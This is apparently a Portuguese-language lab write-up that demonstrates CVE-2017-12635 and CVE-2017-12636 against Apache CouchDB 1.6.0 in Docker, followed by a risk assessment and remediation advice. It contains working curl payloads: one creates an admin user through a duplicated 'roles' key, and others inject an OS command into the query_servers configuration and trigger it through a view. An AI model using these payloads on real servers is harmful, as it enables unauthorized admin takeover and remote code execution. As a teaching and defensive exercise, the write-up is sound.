dungsocool/cve-2017-12635_36Laboratório passo a passo demonstrando exploração de CVE-2017-12635 (escalonamento de privilégios) e CVE-2017-12636 (execução remota de código) contra Apache CouchDB 1.6.0, com avaliação de risco e diretrizes de remediação.
Começando com o que está em execução no ambiente. Listo todos os containers ativos:
docker ps
A vítima expõe uma única porta: 5984
⇒ Faço curl diretamente para sondar mais informações:
curl -i http://192.168.3.137:5984/
Analisando a Resposta:
Resposta: HTTP/1.1 200 OK, comprovando que o serviço na porta está ativo e pode ser acessado diretamente via HTTP.
5984Cabeçalho do Servidor: CouchDB/1.6.0 (Erlang OTP/17) e o corpo JSON contendo "version":"1.6.0" confirmam que se trata do Apache CouchDB versão 1.6.0.
Avaliação da Superfície de Ataque:
O serviço CouchDB está exposto externamente através da porta 5984. Esta é a porta padrão para a API HTTP do CouchDB, permitindo interação com o banco de dados por meio de uma API REST.
A versão CouchDB 1.6.0 é uma versão antiga, anterior ao patch 1.7.1. De acordo com a documentação da Apache, as versões do CouchDB nessa faixa são afetadas por:
roles duplicadas em JSON.=> Pensando: A partir da resposta obtida, há evidências suficientes para determinar que a vítima está executando Apache CouchDB 1.6.0 na porta 5984. Esta é uma versão antiga associada à cadeia de exploração de CVE-2017-12635 e CVE-2017-12636. Portanto, um caminho lógico de exploração é primeiro testar o estado de autenticação e, em seguida, avaliar o potencial de escalonamento de privilégios ou execução de comandos através da API HTTP do CouchDB.
CVE-2017-12635 explora a discrepância entre dois analisadores JSON no CouchDB. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o CouchDB usa a segunda chave roles para verificar os privilégios de escrita do documento, mas usa a primeira chave roles para as permissões reais do usuário após a criação. Assim, um atacante define a primeira roles como ["_admin"] e a segunda roles como [] para contornar a verificação de validação, resultando na criação de um usuário com privilégios de administrador.
Com base na documentação do CouchDB, o CouchDB armazena informações de usuário em um banco de dados especial chamado _users, onde cada documento de usuário tem um ID formatado como org.couchdb.user:<username>. Como precisamos criar um usuário chamado hacker, o endpoint utilizado é /_users/org.couchdb.user:hacker. Crio um novo usuário e atribuo a ele privilégios de administrador para ver como o servidor responde.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'
A resposta retornada é true, comprovando que o usuário foi criado com sucesso. Realizo uma verificação usando as credenciais de admin recém-criadas: curl -u hacker:password123 http://192.168.3.137:5984/_users. O endpoint /_users é um banco de dados do sistema, que por padrão apenas administradores podem ler metadados. Se solicitado por um usuário comum → 403 Forbidden. A resposta 200 OK com informações completas do BD confirma que a conta hacker realmente possui privilégios _admin. Isso se alinha perfeitamente com a hipótese da CVE-2017-12635 no Apache CouchDB 1.6.0.
Resumo:
Verifiquei com sucesso a CVE-2017-12635 no Apache CouchDB 1.6.0. Inicialmente, a porta 5984 apenas mostrava que a API HTTP do CouchDB estava exposta. Após a identificação via curl, a resposta confirmou que o serviço é CouchDB 1.6.0, uma versão dentro da faixa de vulnerabilidade da CVE-2017-12635.
Em vez de concluir imediatamente que RCE é possível, verifiquei o fluxo de autenticação passo a passo primeiro. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o payload criou com sucesso o usuário hacker. Em seguida, a requisição para /_users via curl -u hacker:password123 retornou 200 OK junto com detalhes do banco de dados do sistema, comprovando que o usuário hacker possui genuinamente privilégios _admin.
Consequentemente, uma vez adquiridos privilégios de administrador no CouchDB, a superfície de ataque se expande para CVE-2017-12636, pois administradores podem alterar a configuração do CouchDB via API HTTP. Isso serve como pré-requisito para avaliar posteriormente as capacidades de execução remota de código no servidor.
⇒ Pensando: Usar os privilégios de administrador recém-adquiridos para testar a execução de comandos no nível do sistema operacional.
De acordo com a Documentação do Apache CouchDB, um Query Server é um processo externo usado pelo CouchDB para processar funções de design, como uma visão JavaScript no mecanismo MapReduce. Quando um documento de design declara um campo "language", o CouchDB usa esse valor para procurar o query server correspondente na configuração query_servers.
Se o documento de design contém "language": "javascript", o CouchDB consulta a configuração query_servers.javascript para determinar qual processo deve ser iniciado para lidar com a função map/reduce. Este é um design legítimo do CouchDB, pois o núcleo do CouchDB não executa diretamente todo o código de visão dentro do motor do banco de dados.
⇒ O problema na CVE-2017-12636 reside na capacidade de um administrador do CouchDB de modificar a configuração do servidor através da API HTTP. Algumas dessas configurações incluem caminhos para binários ou processos do sistema operacional que o CouchDB irá iniciar. Portanto, após obter privilégios de administrador a partir da CVE-2017-12635, um atacante pode modificar query_servers.<language> para apontar para um comando do SO. Ao acionar uma visão que usa o idioma correspondente, o CouchDB iniciará o comando, resultando na execução de comandos no servidor.
Fluxo de Exploração:
query_servers.cmd através do endpoint /_config."language": "cmd".query_servers.cmd e inicia o processo configurado.Escrevendo a Configuração Maliciosa do query_server
Registrar um "query server" com um nome arbitrário, cujo valor é o comando do SO:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
Este é o comando do SO que será iniciado pelo processo CouchDB.
Acionando a Execução — Criando Banco de Dados e Documento
# Criar banco de dados de teste
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Criar documento de design com visão usando linguagem "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Acionar visão → CouchDB inicia query server "cmd" → executa comando do SO
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
Fluxo de Execução:
Consulta de view → [HTTP PUT Config] -> [Injetar comando do SO como linguagem de consulta falsa]
→ [HTTP PUT Design Doc] -> [Atribuir atributo de tratamento à linguagem de consulta falsa]
→ [HTTP GET View] -> [Forçar consulta de configuração do CouchDB → Iniciar subprocesso executando comando]
→ [Ler /tmp/pwned] -> [Confirmar privilégio de execução bem-sucedido (RCE)]
Verificar RCE:
docker exec project1-lab07-1 cat /tmp/pwned
Pensando: Este ataque de RCE é cego/assíncrono porque a saída do comando não é retornada diretamente na resposta HTTP. Portanto, para provar que o comando foi executado, usei um payload que gera um efeito colateral escrevendo a saída do comando id no arquivo /tmp/pwned. Ao ler o arquivo /tmp/pwned no container e observar a saída uid=1000(couchdb) gid=999(couchdb), podemos concluir que o CouchDB executou com sucesso o comando do SO sob os privilégios do usuário couchdb.
O resultado uid=1000(couchdb) mostra que o comando não foi executado com privilégios de root, mas sim com os privilégios do processo CouchDB. Isso ainda é suficiente para provar que a CVE-2017-12636 leva à Execução Remota de Código dentro dos limites das permissões do serviço.
A vulnerabilidade de Inconsistência do Analisador JSON (CVE-2017-12635) combinada com Injeção no Query Server (CVE-2017-12636) no sistema é avaliada no nível de risco mais alto:
| Critério | Avaliação | Detalhes |
|---|---|---|
| Pontuação CVSS | 9.8 (Crítico) | Próximo do máximo, exigindo apenas uma única requisição HTTP para explorar. |
| Autenticação (Auth) | Não Necessária | Atacantes não precisam de uma conta ou fazer login. CVE-2017-12635 permite a criação remota de contas administrativas. |
| Complexidade | Muito Baixa | Simplesmente envolve enviar uma única requisição HTTP PUT contendo um payload JSON com uma chave "roles" duplicada para o endpoint /_users. |
| Privilégios Adquiridos | couchdb (uid=1000) | Inicia comandos do SO sob os privilégios do usuário que executa o CouchDB, permitindo leitura/escrita de arquivos do sistema e acesso a todos os bancos de dados. |
| Movimentação Lateral | Alta | A partir do container comprometido, um atacante pode realizar varredura interna (LAN) e alvejar outros containers ou a máquina host na mesma rede Docker. |
Para mitigar completamente essas vulnerabilidades, a equipe de administração do sistema deve implementar as seguintes medidas (ordenadas por prioridade):
require_valid_user = true no arquivo de configuração local.ini para bloquear todo acesso anônimo à API. Nunca executar o CouchDB no modo "Admin Party" (onde não existe administrador, tornando todos administradores).127.0.0.1.config_whitelist no arquivo local.ini para restringir quais chaves de configuração podem ser modificadas via API, impedindo que atacantes usem o endpoint /_config/query_servers para injetar comandos do SO.